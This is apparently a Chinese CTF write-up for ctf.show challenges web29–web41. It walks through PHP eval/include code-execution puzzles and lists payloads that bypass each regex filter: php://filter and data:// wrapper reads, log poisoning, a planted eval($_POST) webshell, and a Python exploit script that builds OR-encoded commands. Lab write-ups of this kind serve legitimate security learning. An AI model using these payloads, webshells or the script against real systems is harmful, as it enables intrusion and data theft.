web29
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
很简单的一道题。?c=system("ls");
查看一下发现flag.php就在当前目录下,因为过滤了flag字节,所以直接用f*代替就行
payload:?c=system("cat f*");
flag在源代码中。
其他解法
- 除此之外,我们可以将文件复制一份修改为其他名字。
payload:?c=system("cp f* a.txt");
然后直接访问或者cat访问都可以获得flag。
或者使用
tac
从后往前输出内容c=system("tac f*");
除了使用system函数执行,也可以使用内敛执行:
echo
命令比如`c=echo `tac f*
看了wp发现还有几种解法比如:利用参数输入+eval/include
?c=eval($_GET[1]);&1=system("ls%20/"); ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
或者上传木马:
file_put_contents("alb34t.php",%20%27<?php%20eval($_POST["cmd"]);%20?>%27);
hint中使用了另一种命令和绕过:
nl fl''ag.php
注意
cat打开后php文件不会显示在页面上,因此需要f12查看源代码。
web30
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
upload:?c=echo
tac f*;
web31
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
空格过滤常用以下方法绕过:
cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt //9改成其他数字也行
cat<flag.txt
cat<>flag.txt
{cat,flag.txt}
cat%09flag.txt
cat%20flag.txt //这个这里好像不行
payload:?c=echo%09
tac%09f*;
web32
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
upload:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
其他方法
初次之外,wp中还有一种在log中注入木马的方式。在User-Agent
中写入木马<?php phpinfo();?>
,在c中传入能正常访问的值,我们根据请求头可以判断出是nginx服务器,服务器的默认日志地址为:/var/log/nginx/access.log
,再加上这里的include的字段,我们可以得到以下payload:?c=include$_GET[a]?%3E&a=../../../../var/log/nginx/access.log
,日志页面中出现phpinfo()页面,插入木马成功。
web33
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
upload:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web34
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
upload:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web35
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
upload:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web36
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了数字,把1改为a就能接着用。
upload:?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web37 data伪协议文件名base64
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
这回直接给你include,文件包含,不让出现flag字段,上来先想到data伪协议。
upload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs+
其中PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs+
是:<?php system("tac flag.php");>
复习一下data伪协议的用法:
1、data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
2、data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
web38
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
继续使用上一题upload即可:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs+
web39
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
upload:?c=data://text/plain,<?php system("tac f*");?>//
题目在include后面强加了.php
我们只需要在语句中添加//
注释掉末尾的字段即可。
但事实上,这道题不用管也可以,去掉//
也是没问题的:
web40 禁止套娃(有·东西)
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
fuzz查看pregmatch剩余字符
先fuzz一下剩下了哪些常用字符:(他看着过滤了括号,但实际上是中文里的括号。。。)
<?php
for($i = 33; $i <= 126; $i++){
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", chr($i))){
echo chr($i);
}
}
?>
看到结果思考了半天没有想法,看了看wp学到了新姿势:
套娃解法
https://ctf.show/writeups/1002659
https://blog.csdn.net/weixin_46250265/article/details/114266578
https://www.cnblogs.com/aninock/p/15125215.html
方法一
来自题目下方的hint:
upload:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
分析一下是什么意思,先解释一下其中的各个函数都是什么意思。
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
scandir():获取目录下的文件,scandir(.):获取当前目录下所有文件
pos():返回数组中的当前元素的值。
array_reverse():数组逆序
next(): 函数将内部指针指向数组中的下一个元素,并输出。
highlight_file():函数进行文件内容的读取,并输出
var_dump一下localeconv()函数,第一个对应的值是.
构造payload。首先是我们要输出列表下的所有文件:print_r(scandir('.'));
但是其中的点和单引号已经被过滤掉了,因此我们需要绕过一下,这就需要用到上面这个函数了(通过函数传参来获得)。所以想使用localeconv()["decimal_point"]
来获取到.
但是双引号已经被过滤了。
这里有三个函数能够起到替代作用。
current() 函数返回数组中的当前元素(单元),默认取第一个值,
pos() 同 current() ,是current()的别名
reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE
测试一下:
这时候payload已经初具规模了。
所以我们可以利用这段payload获取到当前文件夹的信息:?c=var_dump(scandir(pos(localeconv())));
当然这次是flag文件就在当前文件夹,如果不在当前文件夹需要使用:_var_dump(scandir('../../'));_
接下来的思路就是想办法获取到文件。我们可以使用highlight_file()
函数(或者使用show_source()
)来查看文件。然后就是索引,我们可以使用next、end函数等,以下为相关的方法。
current()返回数组中的当前元素的值。
end()将内部指针指向数组中的最后一个元素,并输出。
next()将内部指针指向数组中的下一个元素,并输出。
prev()将内部指针指向数组中的上一个元素,并输出。
reset()将内部指针指向数组中的第一个元素,并输出。
each()返回当前元素的键名和键值,并将内部指针向前移动。
但是flag文件不在头尾,所以我们可以使用array_reverse函数来倒转然后通过next
函数来获取到文件。
至此payload就可以构建了:c=show_source(next(array_reverse(scandir(pos(localeconv())))));
补充
当然不可能只有这几个函数恰好能够满足条件。
比如说其中的pos函数可以被current、reset函数替换。
show_resource函数可以使用high_light函数来替换。
pos(localeconv())的组合函数也可以被getcwd函数替换掉。(getcwd函数会返回当前所在文件夹)。
方法二利用sessionid(好像不行)
利用sessionid来传参,但似乎传参也会被过滤,所以对这道题来说好像不太行…
upload:?c=session_start();system(session_id());
,cookie修改为:PHPSESSID=ls
方法三
首先是payload:?c=eval(array_pop(next(get_defined_vars())));
除此之外需要用post传入1=system('tac fl*');
分析,先讲述一下各个函数的作用:
get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。
next()将内部指针指向数组中的下一个元素,并输出。
array_pop() 函数删除数组中的最后一个元素并返回其值。
payload的含义就是在post中寻找到对应木马,并运行。、
总结
这题真的有点东西,思路简单容易理解,但是难在如何找到返回这些需要参数的函数。
web41
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
查看一下剩余字符:
把字符都过滤掉了,觉得应该是用什么方法来替代字符,但是之后就没有思路了。
wp
看了wp,发现想法没问题。
题目中特意提到了,上来先考虑的是:异或自增和取反构造字符都无法使用,但是留下了|
wp提供了两个脚本:
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符。
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
如果没有将php写入环境变量,就需要先运行rce_or.php生成文本,将文本置于与exp.py相同目录下,运行exp.py
使用方法:
python exp.py 你的对应url
然后分贝在function参数和command参数添加你需要的参数。
比如system和ls。
总结
这部分题前面做着还算简单,直到40、41直接来了一个毁灭性打击。难度和前面的根本不是一个量级的。